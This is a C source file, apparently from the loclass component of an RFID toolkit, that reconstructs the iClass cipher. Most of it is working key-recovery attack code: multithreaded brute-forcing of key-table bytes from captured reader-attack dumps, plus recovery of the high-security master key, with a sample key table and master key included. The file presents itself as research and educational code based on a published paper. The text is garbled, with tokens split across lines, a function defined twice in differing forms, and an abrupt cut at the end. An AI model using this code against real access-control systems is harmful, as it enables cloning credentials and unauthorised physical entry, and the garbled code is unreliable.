1 /*****************************************************************************
4 * THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY.
6 * USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL
7 * PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL,
8 * AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES.
10 * THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS.
12 *****************************************************************************
14 * This file is part of loclass. It is a reconstructon of the cipher engine
15 * used in iClass, and RFID techology.
17 * The implementation is based on the work performed by
18 * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and
19 * Milosch Meriac in the paper "Dismantling IClass".
21 * Copyright (C) 2014 Martin Holst Swende
23 * This is free software: you can redistribute it and/or modify
24 * it under the terms of the GNU General Public License version 2 as published
25 * by the Free Software Foundation, or, at your option, any later version.
27 * This file is distributed in the hope that it will be useful,
28 * but WITHOUT ANY WARRANTY; without even the implied warranty of
29 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
30 * GNU General Public License for more details.
32 * You should have received a copy of the GNU General Public License
33 * along with loclass. If not, see <http://www.gnu.org/licenses/>.
37 ****************************************************************************/
44 #include "cipherutils.h"
47 #include "elite_crack.h"
48 #include "fileutils.h"
49 #include "mbedtls/des.h"
50 #include "util_posix.h"
53 * @brief Permutes a key from standard NIST format to Iclass specific format
54 * from http://www.proxmark.org/forum/viewtopic.php?pid=11220#p11220
56 * If you permute [6c 8d 44 f9 2a 2d 01 bf] you get [8a 0d b9 88 bb a7 90 ea] as shown below.
73 void permutekey(uint8_t key
[8], uint8_t dest
[8]) {
74 for (uint8_t i
= 0 ; i
< 8 ; i
++) {
75 dest
[i
] = (((key
[7] & (0x80 >> i
)) >> (7 - i
)) << 7) |
76 (((key
[6] & (0x80 >> i
)) >> (7 - i
)) << 6) |
77 (((key
[5] & (0x80 >> i
)) >> (7 - i
)) << 5) |
78 (((key
[4] & (0x80 >> i
)) >> (7 - i
)) << 4) |
79 (((key
[3] & (0x80 >> i
)) >> (7 - i
)) << 3) |
80 (((key
[2] & (0x80 >> i
)) >> (7 - i
)) << 2) |
81 (((key
[1] & (0x80 >> i
)) >> (7 - i
)) << 1) |
82 (((key
[0] & (0x80 >> i
)) >> (7 - i
)) << 0);
86 * Permutes a key from iclass specific format to NIST format
87 * @brief permutekey_rev
91 void permutekey_rev(uint8_t key
[8], uint8_t dest
[8]) {
93 for (i
= 0 ; i
< 8 ; i
++) {
94 dest
[7 - i
] = (((key
[0] & (0x80 >> i
)) >> (7 - i
)) << 7) |
95 (((key
[1] & (0x80 >> i
)) >> (7 - i
)) << 6) |
96 (((key
[2] & (0x80 >> i
)) >> (7 - i
)) << 5) |
97 (((key
[3] & (0x80 >> i
)) >> (7 - i
)) << 4) |
98 (((key
[4] & (0x80 >> i
)) >> (7 - i
)) << 3) |
99 (((key
[5] & (0x80 >> i
)) >> (7 - i
)) << 2) |
100 (((key
[6] & (0x80 >> i
)) >> (7 - i
)) << 1) |
101 (((key
[7] & (0x80 >> i
)) >> (7 - i
)) << 0);
106 * Helper function for hash1
111 static inline uint8_t rr(uint8_t val
) {
112 return val
>> 1 | ((val
& 1) << 7);
116 * Helper function for hash1
121 static inline uint8_t rl(uint8_t val
) {
122 return val
<< 1 | ((val
& 0x80) >> 7);
126 * Helper function for hash1
131 static inline uint8_t swap(uint8_t val
) {
132 return ((val
>> 4) & 0xFF) | ((val
& 0xFF) << 4);
136 * Hash1 takes CSN as input, and determines what bytes in the keytable will be used
137 * when constructing the K_sel.
138 * @param csn the CSN used
141 void hash1(uint8_t csn
[], uint8_t k
[]) {
142 k
[0] = csn
[0] ^ csn
[1] ^ csn
[2] ^ csn
[3] ^ csn
[4] ^ csn
[5] ^ csn
[6] ^ csn
[7];
143 k
[1] = csn
[0] + csn
[1] + csn
[2] + csn
[3] + csn
[4] + csn
[5] + csn
[6] + csn
[7];
144 k
[2] = rr(swap(csn
[2] + k
[1]));
145 k
[3] = rl(swap(csn
[3] + k
[0]));
146 k
[4] = ~rr(csn
[4] + k
[2]) + 1;
147 k
[5] = ~rl(csn
[5] + k
[3]) + 1;
148 k
[6] = rr(csn
[6] + (k
[4] ^ 0x3c));
149 k
[7] = rl(csn
[7] + (k
[5] ^ 0xc3));
161 Definition 14. Define the rotate key function rk : (F 82 ) 8 × N → (F 82 ) 8 as
162 rk(x [0] . . . x [7] , 0) = x [0] . . . x [7]
163 rk(x [0] . . . x [7] , n + 1) = rk(rl(x [0] ) . . . rl(x [7] ), n)
165 static void rk(uint8_t *key
, uint8_t n
, uint8_t *outp_key
) {
166 memcpy(outp_key
, key
, 8);
168 outp_key
[0] = rl(outp_key
[0]);
169 outp_key
[1] = rl(outp_key
[1]);
170 outp_key
[2] = rl(outp_key
[2]);
171 outp_key
[3] = rl(outp_key
[3]);
172 outp_key
[4] = rl(outp_key
[4]);
173 outp_key
[5] = rl(outp_key
[5]);
174 outp_key
[6] = rl(outp_key
[6]);
175 outp_key
[7] = rl(outp_key
[7]);
179 static mbedtls_des_context ctx_enc
;
180 static mbedtls_des_context ctx_dec
;
182 static void desdecrypt_iclass(uint8_t *iclass_key
, uint8_t *input
, uint8_t *output
) {
183 uint8_t key_std_format
[8] = {0};
184 permutekey_rev(iclass_key
, key_std_format
);
185 mbedtls_des_setkey_dec(&ctx_dec
, key_std_format
);
186 mbedtls_des_crypt_ecb(&ctx_dec
, input
, output
);
189 static void desencrypt_iclass(uint8_t *iclass_key
, uint8_t *input
, uint8_t *output
) {
190 uint8_t key_std_format
[8] = {0};
191 permutekey_rev(iclass_key
, key_std_format
);
192 mbedtls_des_setkey_enc(&ctx_enc
, key_std_format
);
193 mbedtls_des_crypt_ecb(&ctx_enc
, input
, output
);
197 * @brief Insert uint8_t[8] custom master key to calculate hash2 and return key_select.
198 * @param key unpermuted custom key
200 * @param key_sel output key_sel=h[hash1[i]]
202 void hash2(uint8_t *key64
, uint8_t *outp_keytable
) {
205 * High Security Key Table
207 00 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
208 10 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
209 20 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
210 30 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
211 40 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
212 50 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
213 60 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
214 70 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
216 **** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ******/
217 uint8_t key64_negated
[8] = {0};
218 uint8_t z
[8][8] = {{0}, {0}};
219 uint8_t temp_output
[8] = {0};
220 //calculate complement of key
221 key64_negated
[0] = ~key64
[0];
222 key64_negated
[1] = ~key64
[1];
223 key64_negated
[2] = ~key64
[2];
224 key64_negated
[3] = ~key64
[3];
225 key64_negated
[4] = ~key64
[4];
226 key64_negated
[5] = ~key64
[5];
227 key64_negated
[6] = ~key64
[6];
228 key64_negated
[7] = ~key64
[7];
230 // Once again, key is on iclass-format
231 desencrypt_iclass(key64
, key64_negated
, z
[0]);
233 if (g_debugMode
> 0) {
234 PrintAndLogEx(DEBUG
, "High security custom key (Kcus):");
235 PrintAndLogEx(DEBUG
, "z0 %s", sprint_hex(z
[0], 8));
238 uint8_t y
[8][8] = {{0}, {0}};
240 // y[0]=DES_dec(z[0],~key)
241 // Once again, key is on iclass-format
242 desdecrypt_iclass(z
[0], key64_negated
, y
[0]);
243 // PrintAndLogEx(INFO, "y0 %s", sprint_hex(y[0],8));
245 for (uint8_t i
= 1; i
< 8; i
++) {
246 // z [i] = DES dec (rk(K cus , i), z [i−1] )
247 rk(key64
, i
, temp_output
);
248 //y [i] = DES enc (rk(K cus , i), y [i−1] )
250 desdecrypt_iclass(temp_output
, z
[i
- 1], z
[i
]);
251 desencrypt_iclass(temp_output
, y
[i
- 1], y
[i
]);
254 if (outp_keytable
!= NULL
) {
255 for (uint8_t i
= 0 ; i
< 8 ; i
++) {
256 memcpy(outp_keytable
+ i
* 16, y
[i
], 8);
257 memcpy(outp_keytable
+ 8 + i
* 16, z
[i
], 8);
260 printarr_human_readable("hash2", outp_keytable
, 128);
265 * @brief Reads data from the iclass-reader-attack dump file.
266 * @param dump, data from a iclass reader attack dump. The format of the dumpdata is expected to be as follows:
267 * <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC><8 byte HASH1><1 byte NUM_BYTES_TO_RECOVER><3 bytes BYTES_TO_RECOVER>
270 * So the first attack, with 3 bytes to recover would be : ... 03000145
271 * And a later attack, with 1 byte to recover (byte 0x5)would be : ...01050000
272 * And an attack, with 2 bytes to recover (byte 0x5 and byte 0x07 )would be : ...02050700
274 * @param cc_nr an array to store cc_nr into (12 bytes)
275 * @param csn an arracy ot store CSN into (8 bytes)
276 * @param received_mac an array to store MAC into (4 bytes)
277 * @param i the number to read. Should be less than 127, or something is wrong...
281 static int _readFromDump(uint8_t dump[], dumpdata *item, uint8_t i) {
282 size_t itemsize = sizeof(dumpdata);
283 memcpy(item, dump + i * itemsize, itemsize);
286 PrintAndLogEx(INFO, "csn %s", sprint_hex(item->csn, sizeof(item->csn)));
287 PrintAndLogEx(INFO, "cc_nr %s", sprint_hex(item->cc_nr, sizeof(item->cc_nr)));
288 PrintAndLogEx(INFO, "mac %s", sprint_hex(item->mac, sizeof(item->mac)));
297 uint8_t numbytes_to_recover
;
298 uint8_t bytes_to_recover
[3];
299 uint8_t key_index
[8];
300 uint16_t keytable
[128];
301 loclass_dumpdata_t item
;
302 } loclass_thread_arg_t
;
306 } loclass_thread_ret_t
;
308 static size_t loclass_tc
= 1;
309 static int loclass_found
= 0;
311 static void *bf_thread(void *thread_arg
) {
313 loclass_thread_arg_t
*targ
= (loclass_thread_arg_t
*)thread_arg
;
314 const uint32_t endmask
= targ
->endmask
;
315 const uint8_t numbytes_to_recover
= targ
->numbytes_to_recover
;
316 uint32_t brute
= targ
->thread_idx
;
321 uint8_t key_index
[8];
322 uint8_t bytes_to_recover
[3];
323 uint16_t keytable
[128];
325 memcpy(csn
, targ
->item
.csn
, sizeof(csn
));
326 memcpy(cc_nr
, targ
->item
.cc_nr
, sizeof(cc_nr
));
327 memcpy(mac
, targ
->item
.mac
, sizeof(mac
));
328 memcpy(key_index
, targ
->key_index
, sizeof(key_index
));
329 memcpy(bytes_to_recover
, targ
->bytes_to_recover
, sizeof(bytes_to_recover
));
330 memcpy(keytable
, targ
->keytable
, sizeof(keytable
));
333 while (!(brute
& endmask
)) {
335 found
= __atomic_load_n(&loclass_found
, __ATOMIC_SEQ_CST
);
337 if (found
!= 0xFF) return NULL
;
339 //Update the keytable with the brute-values
340 for (uint8_t i
= 0; i
< numbytes_to_recover
; i
++) {
341 keytable
[bytes_to_recover
[i
]] &= 0xFF00;
342 keytable
[bytes_to_recover
[i
]] |= (brute
>> (i
* 8) & 0xFF);
345 uint8_t key_sel
[8] = {0};
347 // Piece together the key
348 key_sel
[0] = keytable
[key_index
[0]] & 0xFF;
349 key_sel
[1] = keytable
[key_index
[1]] & 0xFF;
350 key_sel
[2] = keytable
[key_index
[2]] & 0xFF;
351 key_sel
[3] = keytable
[key_index
[3]] & 0xFF;
352 key_sel
[4] = keytable
[key_index
[4]] & 0xFF;
353 key_sel
[5] = keytable
[key_index
[5]] & 0xFF;
354 key_sel
[6] = keytable
[key_index
[6]] & 0xFF;
355 key_sel
[7] = keytable
[key_index
[7]] & 0xFF;
357 // Permute from iclass format to standard format
359 uint8_t key_sel_p
[8] = {0};
360 permutekey_rev(key_sel
, key_sel_p
);
363 uint8_t div_key
[8] = {0};
364 diversifyKey(csn
, key_sel_p
, div_key
);
367 uint8_t calculated_MAC
[4] = {0};
368 doMAC(cc_nr
, div_key
, calculated_MAC
);
371 if (memcmp(calculated_MAC
, mac
, 4) == 0) {
373 loclass_thread_ret_t
*r
= (loclass_thread_ret_t
*)malloc(sizeof(loclass_thread_ret_t
));
375 for (uint8_t i
= 0 ; i
< numbytes_to_recover
; i
++) {
376 r
->values
[i
] = keytable
[bytes_to_recover
[i
]] & 0xFF;
378 __atomic_store_n(&loclass_found
, targ
->thread_idx
, __ATOMIC_SEQ_CST
);
379 pthread_exit((void *)r
);
384 #define _CLR_ "\x1b[0K"
386 if (numbytes_to_recover
== 3) {
387 if ((brute
> 0) && ((brute
& 0xFFFF) == 0)) {
388 PrintAndLogEx(INPLACE
, "[ %02x %02x %02x ] %8u / %u", bytes_to_recover
[0], bytes_to_recover
[1], bytes_to_recover
[2], brute
, 0xFFFFFF);
390 } else if (numbytes_to_recover
== 2) {
391 if ((brute
> 0) && ((brute
& 0x3F) == 0))
392 PrintAndLogEx(INPLACE
, "[ %02x %02x ] %5u / %u" _CLR_
, bytes_to_recover
[0], bytes_to_recover
[1], brute
, 0xFFFF);
394 if ((brute
> 0) && ((brute
& 0x1F) == 0))
395 PrintAndLogEx(INPLACE
, "[ %02x ] %3u / %u" _CLR_
, bytes_to_recover
[0], brute
, 0xFF);
400 void *dummyptr
= NULL
;
404 int bruteforceItem(loclass_dumpdata_t item
, uint16_t keytable
[]) {
406 // reset thread signals
407 loclass_found
= 0xFF;
409 //Get the key index (hash1)
410 uint8_t key_index
[8] = {0};
411 hash1(item
.csn
, key_index
);
414 * Determine which bytes to retrieve. A hash is typically
416 * We go through that hash, and in the corresponding keytable, we put markers
417 * on what state that particular index is:
418 * - CRACKED (this has already been cracked)
419 * - BEING_CRACKED (this is being bruteforced now)
420 * - CRACK_FAILED (self-explaining...)
422 * The markers are placed in the high area of the 16 bit key-table.
423 * Only the lower eight bits correspond to the (hopefully cracked) key-value.
425 uint8_t bytes_to_recover
[3] = {0};
426 uint8_t numbytes_to_recover
= 0;
427 for (uint8_t i
= 0; i
< 8; i
++) {
428 if (keytable
[key_index
[i
]] & (LOCLASS_CRACKED
| LOCLASS_BEING_CRACKED
)) continue;
430 bytes_to_recover
[numbytes_to_recover
++] = key_index
[i
];
431 keytable
[key_index
[i
]] |= LOCLASS_BEING_CRACKED
;
433 if (numbytes_to_recover
> 3) {
434 PrintAndLogEx(FAILED
, "The CSN requires > 3 byte bruteforce, not supported");
435 PrintAndLogEx(INFO
, "CSN %s", sprint_hex(item
.csn
, 8));
436 PrintAndLogEx(INFO
, "HASH1 %s", sprint_hex(key_index
, 8));
437 PrintAndLogEx(NORMAL
, "");
438 //Before we exit, reset the 'BEING_CRACKED' to zero
439 keytable
[bytes_to_recover
[0]] &= ~LOCLASS_BEING_CRACKED
;
440 keytable
[bytes_to_recover
[1]] &= ~LOCLASS_BEING_CRACKED
;
441 keytable
[bytes_to_recover
[2]] &= ~LOCLASS_BEING_CRACKED
;
446 if (numbytes_to_recover
== 0) {
447 PrintAndLogEx(INFO
, "No bytes to recover, exiting");
451 loclass_thread_arg_t args
[loclass_tc
];
452 // init thread arguments
453 for (int i
= 0; i
< loclass_tc
; i
++) {
454 args
[i
].thread_idx
= i
;
455 args
[i
].numbytes_to_recover
= numbytes_to_recover
;
456 args
[i
].endmask
= 1 << 8 * numbytes_to_recover
;
458 memcpy((void *)&args
[i
].item
, (void *)&item
, sizeof(loclass_dumpdata_t
));
459 memcpy(args
[i
].bytes_to_recover
, bytes_to_recover
, sizeof(args
[i
].bytes_to_recover
));
460 memcpy(args
[i
].key_index
, key_index
, sizeof(args
[i
].key_index
));
461 memcpy(args
[i
].keytable
, keytable
, sizeof(args
[i
].keytable
));
464 pthread_t threads
[loclass_tc
];
466 for (int i
= 0; i
< loclass_tc
; i
++) {
467 int res
= pthread_create(&threads
[i
], NULL
, bf_thread
, (void *)&args
[i
]);
469 PrintAndLogEx(NORMAL
, "");
470 PrintAndLogEx(WARNING
, "Failed to create pthreads. Quitting");
474 // wait for threads to terminate:
475 void *ptrs
[loclass_tc
];
476 for (int i
= 0; i
< loclass_tc
; i
++)
477 pthread_join(threads
[i
], &ptrs
[i
]);
480 int res
= PM3_SUCCESS
;
481 if (loclass_found
== 0xFF) {
483 PrintAndLogEx(NORMAL
, "");
484 PrintAndLogEx(WARNING
, "Failed to recover %d bytes using the following CSN", numbytes_to_recover
);
485 PrintAndLogEx(INFO
, "CSN %s", sprint_hex(item
.csn
, 8));
487 //Before we exit, reset the 'BEING_CRACKED' to zero
488 for (uint8_t i
= 0; i
< numbytes_to_recover
; i
++) {
489 keytable
[bytes_to_recover
[i
]] &= 0xFF;
490 keytable
[bytes_to_recover
[i
]] |= LOCLASS_CRACK_FAILED
;
494 loclass_thread_ret_t ice
= *((loclass_thread_ret_t
*)ptrs
[loclass_found
]);
496 for (uint8_t i
= 0; i
< numbytes_to_recover
; i
++) {
497 keytable
[bytes_to_recover
[i
]] = ice
.values
[i
];
498 keytable
[bytes_to_recover
[i
]] &= 0xFF;
499 keytable
[bytes_to_recover
[i
]] |= LOCLASS_CRACKED
;
501 for (uint8_t i
= 0; i
< loclass_tc
; i
++) {
506 memset(args
, 0x00, sizeof(args
));
507 memset(threads
, 0x00, sizeof(threads
));
512 * @brief Performs brute force attack against a dump-data item, containing csn, cc_nr and mac.
513 *This method calculates the hash1 for the CSN, and determines what bytes need to be bruteforced
514 *on the fly. If it finds that more than three bytes need to be bruteforced, it aborts.
515 *It updates the keytable with the findings, also using the upper half of the 16-bit ints
516 *to signal if the particular byte has been cracked or not.
518 * @param dump The dumpdata from iclass reader attack.
519 * @param keytable where to write found values.
523 int bruteforceItem(loclass_dumpdata_t item, uint16_t keytable[]) {
525 //Get the key index (hash1)
526 uint8_t key_index[8] = {0};
527 hash1(item.csn, key_index);
530 * Determine which bytes to retrieve. A hash is typically
532 * We go through that hash, and in the corresponding keytable, we put markers
533 * on what state that particular index is:
534 * - CRACKED (this has already been cracked)
535 * - BEING_CRACKED (this is being bruteforced now)
536 * - CRACK_FAILED (self-explaining...)
538 * The markers are placed in the high area of the 16 bit key-table.
539 * Only the lower eight bits correspond to the (hopefully cracked) key-value.
544 uint8_t bytes_to_recover[3] = {0};
545 uint8_t numbytes_to_recover = 0 ;
546 for (uint8_t i = 0; i < 8; i++) {
547 if (keytable[key_index[i]] & (LOCLASS_CRACKED | LOCLASS_BEING_CRACKED)) continue;
549 bytes_to_recover[numbytes_to_recover++] = key_index[i];
550 keytable[key_index[i]] |= LOCLASS_BEING_CRACKED;
552 if (numbytes_to_recover > 3) {
553 PrintAndLogEx(FAILED, "The CSN requires > 3 byte bruteforce, not supported");
554 PrintAndLogEx(INFO, "CSN %s", sprint_hex(item.csn, 8));
555 PrintAndLogEx(INFO, "HASH1 %s", sprint_hex(key_index, 8));
556 PrintAndLogEx(NORMAL, "");
557 //Before we exit, reset the 'BEING_CRACKED' to zero
558 keytable[bytes_to_recover[0]] &= ~LOCLASS_BEING_CRACKED;
559 keytable[bytes_to_recover[1]] &= ~LOCLASS_BEING_CRACKED;
560 keytable[bytes_to_recover[2]] &= ~LOCLASS_BEING_CRACKED;
565 uint8_t key_sel_p[8] = {0};
566 uint8_t div_key[8] = {0};
567 uint8_t key_sel[8] = {0};
568 uint8_t calculated_MAC[4] = {0};
571 //A uint32 has room for 4 bytes, we'll only need 24 of those bits to bruteforce up to three bytes,
575 Determine where to stop the bruteforce. A 1-byte attack stops after 256 tries,
576 (when brute reaches 0x100). And so on...
577 bytes_to_recover = 1 --> endmask = 0x000000100
578 bytes_to_recover = 2 --> endmask = 0x000010000
579 bytes_to_recover = 3 --> endmask = 0x001000000
582 uint32_t endmask = 1 << 8 * numbytes_to_recover;
583 PrintAndLogEx(NORMAL, "----------------------------");
584 for (uint8_t i = 0 ; i < numbytes_to_recover && numbytes_to_recover > 1; i++)
585 PrintAndLogEx(INFO, "Bruteforcing %d", bytes_to_recover[i]);
588 while (!found && !(brute & endmask)) {
590 //Update the keytable with the brute-values
591 for (uint8_t i = 0; i < numbytes_to_recover; i++) {
592 keytable[bytes_to_recover[i]] &= 0xFF00;
593 keytable[bytes_to_recover[i]] |= (brute >> (i * 8) & 0xFF);
596 // Piece together the key
597 key_sel[0] = keytable[key_index[0]] & 0xFF;
598 key_sel[1] = keytable[key_index[1]] & 0xFF;
599 key_sel[2] = keytable[key_index[2]] & 0xFF;
600 key_sel[3] = keytable[key_index[3]] & 0xFF;
601 key_sel[4] = keytable[key_index[4]] & 0xFF;
602 key_sel[5] = keytable[key_index[5]] & 0xFF;
603 key_sel[6] = keytable[key_index[6]] & 0xFF;
604 key_sel[7] = keytable[key_index[7]] & 0xFF;
606 //Permute from iclass format to standard format
607 permutekey_rev(key_sel, key_sel_p);
609 diversifyKey(item.csn, key_sel_p, div_key);
610 doMAC(item.cc_nr, div_key, calculated_MAC);
613 if (memcmp(calculated_MAC, item.mac, 4) == 0) {
614 PrintAndLogEx(NORMAL, "");
615 for (uint8_t i = 0 ; i < numbytes_to_recover; i++) {
616 PrintAndLogEx(SUCCESS, "%d: 0x%02x", bytes_to_recover[i], keytable[bytes_to_recover[i]] & 0xFF);
623 if ((brute & 0xFFFF) == 0) {
624 PrintAndLogEx(INPLACE, "%3d", (brute >> 16) & 0xFF);
628 int errors = PM3_SUCCESS;
630 if (found == false) {
631 PrintAndLogEx(NORMAL, "");
632 PrintAndLogEx(WARNING, "Failed to recover %d bytes using the following CSN", numbytes_to_recover);
633 PrintAndLogEx(INFO, "CSN %s", sprint_hex(item.csn, 8));
636 //Before we exit, reset the 'BEING_CRACKED' to zero
637 for (uint8_t i = 0; i < numbytes_to_recover; i++) {
638 keytable[bytes_to_recover[i]] &= 0xFF;
639 keytable[bytes_to_recover[i]] |= LOCLASS_CRACK_FAILED;
642 //PrintAndLogEx(SUCCESS, "DES calcs: %u", brute);
643 for (uint8_t i = 0; i < numbytes_to_recover; i++) {
644 keytable[bytes_to_recover[i]] &= 0xFF;
645 keytable[bytes_to_recover[i]] |= LOCLASS_CRACKED;
653 * From dismantling iclass-paper:
654 * Assume that an adversary somehow learns the first 16 bytes of hash2(K_cus ), i.e., y [0] and z [0] .
655 * Then he can simply recover the master custom key K_cus by computing
656 * K_cus = ~DES(z[0] , y[0] ) .
658 * Furthermore, the adversary is able to verify that he has the correct K cus by
659 * checking whether z [0] = DES enc (K_cus , ~K_cus ).
660 * @param keytable an array (128 bytes) of hash2(kcus)
661 * @param master_key where to put the master key
662 * @return 0 for ok, 1 for failz
664 int calculateMasterKey(uint8_t first16bytes
[], uint8_t kcus
[]) {
665 mbedtls_des_context ctx_e
;
667 uint8_t z_0
[8] = {0};
668 uint8_t y_0
[8] = {0};
669 uint8_t z_0_rev
[8] = {0};
670 uint8_t key64
[8] = {0};
671 uint8_t key64_negated
[8] = {0};
672 uint8_t result
[8] = {0};
674 // y_0 and z_0 are the first 16 bytes of the keytable
675 memcpy(y_0
, first16bytes
, 8);
676 memcpy(z_0
, first16bytes
+ 8, 8);
678 // Our DES-implementation uses the standard NIST
679 // format for keys, thus must translate from iclass
680 // format to NIST-format
681 permutekey_rev(z_0
, z_0_rev
);
683 // ~K_cus = DESenc(z[0], y[0])
684 mbedtls_des_setkey_enc(&ctx_e
, z_0_rev
);
685 mbedtls_des_crypt_ecb(&ctx_e
, y_0
, key64_negated
);
687 key64
[0] = ~key64_negated
[0];
688 key64
[1] = ~key64_negated
[1];
689 key64
[2] = ~key64_negated
[2];
690 key64
[3] = ~key64_negated
[3];
691 key64
[4] = ~key64_negated
[4];
692 key64
[5] = ~key64_negated
[5];
693 key64
[6] = ~key64_negated
[6];
694 key64
[7] = ~key64_negated
[7];
696 // Can we verify that the key is correct?
697 // Once again, key is on iclass-format
698 uint8_t key64_stdformat
[8] = {0};
699 permutekey_rev(key64
, key64_stdformat
);
701 mbedtls_des_setkey_enc(&ctx_e
, key64_stdformat
);
702 mbedtls_des_crypt_ecb(&ctx_e
, key64_negated
, result
);
705 memcpy(kcus
, key64
, 8);
707 if (memcmp(z_0
, result
, 4) != 0) {
708 PrintAndLogEx(WARNING
, _RED_("Failed to verify") " calculated master key (k_cus)! Something is wrong.");
712 PrintAndLogEx(SUCCESS
, "----- " _CYAN_("High security custom key (Kcus)") " -----");
713 PrintAndLogEx(SUCCESS
, "Standard format %s", sprint_hex(key64_stdformat
, 8));
714 PrintAndLogEx(SUCCESS
, "iCLASS format " _GREEN_("%s"), sprint_hex(key64
, 8));
715 PrintAndLogEx(SUCCESS
, "Key verified (" _GREEN_("ok") ")");
716 PrintAndLogEx(NORMAL
, "");
720 * @brief Same as bruteforcefile, but uses a an array of dumpdata instead
726 int bruteforceDump(uint8_t dump
[], size_t dumpsize
, uint16_t keytable
[]) {
728 size_t itemsize
= sizeof(loclass_dumpdata_t
);
729 loclass_dumpdata_t
*attack
= (loclass_dumpdata_t
*) calloc(itemsize
, sizeof(uint8_t));
730 if (attack
== NULL
) {
731 PrintAndLogEx(WARNING
, "failed to allocate memory");
735 loclass_tc
= num_CPUs();
736 PrintAndLogEx(INFO
, "bruteforce using " _YELLOW_("%zu") " threads", loclass_tc
);
740 uint64_t t1
= msclock();
741 for (i
= 0 ; i
* itemsize
< dumpsize
; i
++) {
742 memcpy(attack
, dump
+ i
* itemsize
, itemsize
);
743 res
= bruteforceItem(*attack
, keytable
);
744 if (res
!= PM3_SUCCESS
)
749 PrintAndLogEx(NORMAL
, "");
750 PrintAndLogEx(SUCCESS
, "time " _YELLOW_("%" PRIu64
) " seconds", t1
/ 1000);
752 if (res
!= PM3_SUCCESS
) {
753 PrintAndLogEx(ERR
, "loclass exiting. Try run " _YELLOW_("`hf iclass sim -t 2`") " again and collect new data");
757 // Pick out the first 16 bytes of the keytable.
758 // The keytable is now in 16-bit ints, where the upper 8 bits
759 // indicate crack-status. Those must be discarded for the
760 // master key calculation
761 uint8_t first16bytes
[16] = {0};
762 for (i
= 0 ; i
< 16 ; i
++) {
763 first16bytes
[i
] = keytable
[i
] & 0xFF;
765 if ((keytable
[i
] & LOCLASS_CRACKED
) != LOCLASS_CRACKED
) {
766 PrintAndLogEx(WARNING
, "Warning: we are missing byte %d, custom key calculation will fail...", i
);
770 return calculateMasterKey(first16bytes
, NULL
);
773 * Perform a bruteforce against a file which has been saved by pm3
775 * @brief bruteforceFile
779 int bruteforceFile(const char *filename
, uint16_t keytable
[]) {
782 uint8_t *dump
= NULL
;
783 if (loadFile_safe(filename
, "", (void **)&dump
, &dumplen
) != PM3_SUCCESS
) {
787 uint8_t res
= bruteforceDump(dump
, dumplen
, keytable
);
793 * @brief Same as above, if you don't care about the returned keytable (results only printed on screen)
797 int bruteforceFileNoKeys(const char *filename
) {
798 uint16_t keytable
[128] = {0};
799 return bruteforceFile(filename
, keytable
);
802 // ---------------------------------------------------------------------------------
803 // ALL CODE BELOW THIS LINE IS PURELY TESTING
804 // ---------------------------------------------------------------------------------
805 // ----------------------------------------------------------------------------
807 // ----------------------------------------------------------------------------
808 static int _testBruteforce(void) {
810 PrintAndLogEx(INFO
, "Testing crack from dumpfile...");
813 Expected values for the dumpfile:
814 High Security Key Table
816 00 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
817 10 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
818 20 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
819 30 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
820 40 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
821 50 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
822 60 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
823 70 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
825 **** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ****
827 uint16_t keytable
[128] = {0};
828 int res
= bruteforceFile("iclass_dump.bin", keytable
);
829 if (res
!= PM3_SUCCESS
) {
830 PrintAndLogEx(ERR
, "Error: The file " _YELLOW_("iclass_dump.bin") "was not found!");
835 static int _test_iclass_key_permutation(void) {
836 uint8_t testcase
[8] = {0x6c, 0x8d, 0x44, 0xf9, 0x2a, 0x2d, 0x01, 0xbf};
837 uint8_t testcase_output
[8] = {0};
838 uint8_t testcase_output_correct
[8] = {0x8a, 0x0d, 0xb9, 0x88, 0xbb, 0xa7, 0x90, 0xea};
839 uint8_t testcase_output_rev
[8] = {0};
840 permutekey(testcase
, testcase_output
);
841 permutekey_rev(testcase_output
, testcase_output_rev
);
843 if (memcmp(testcase_output
, testcase_output_correct
, 8) != 0) {
844 PrintAndLogEx(ERR
, "Error with iclass key permute!");
845 printarr("testcase_output", testcase_output
, 8);
846 printarr("testcase_output_correct", testcase_output_correct
, 8);
850 if (memcmp(testcase
, testcase_output_rev
, 8) != 0) {
851 PrintAndLogEx(ERR
, "Error with reverse iclass key permute");
852 printarr("testcase", testcase
, 8);
853 printarr("testcase_output_rev", testcase_output_rev
, 8);
857 PrintAndLogEx(SUCCESS
, " Iclass key permutation (%s)", _GREEN_("ok"));
861 static int _testHash1(void) {
862 uint8_t expected
[8] = {0x7E, 0x72, 0x2F, 0x40, 0x2D, 0x02, 0x51, 0x42};
863 uint8_t csn
[8] = {0x01, 0x02, 0x03, 0x04, 0xF7, 0xFF, 0x12, 0xE0};
867 if (memcmp(k
, expected
, 8) != 0) {
868 PrintAndLogEx(ERR
, "Error with hash1!");
869 printarr("calculated", k
, 8);
870 printarr("expected", expected
, 8);
876 int testElite(bool slowtests
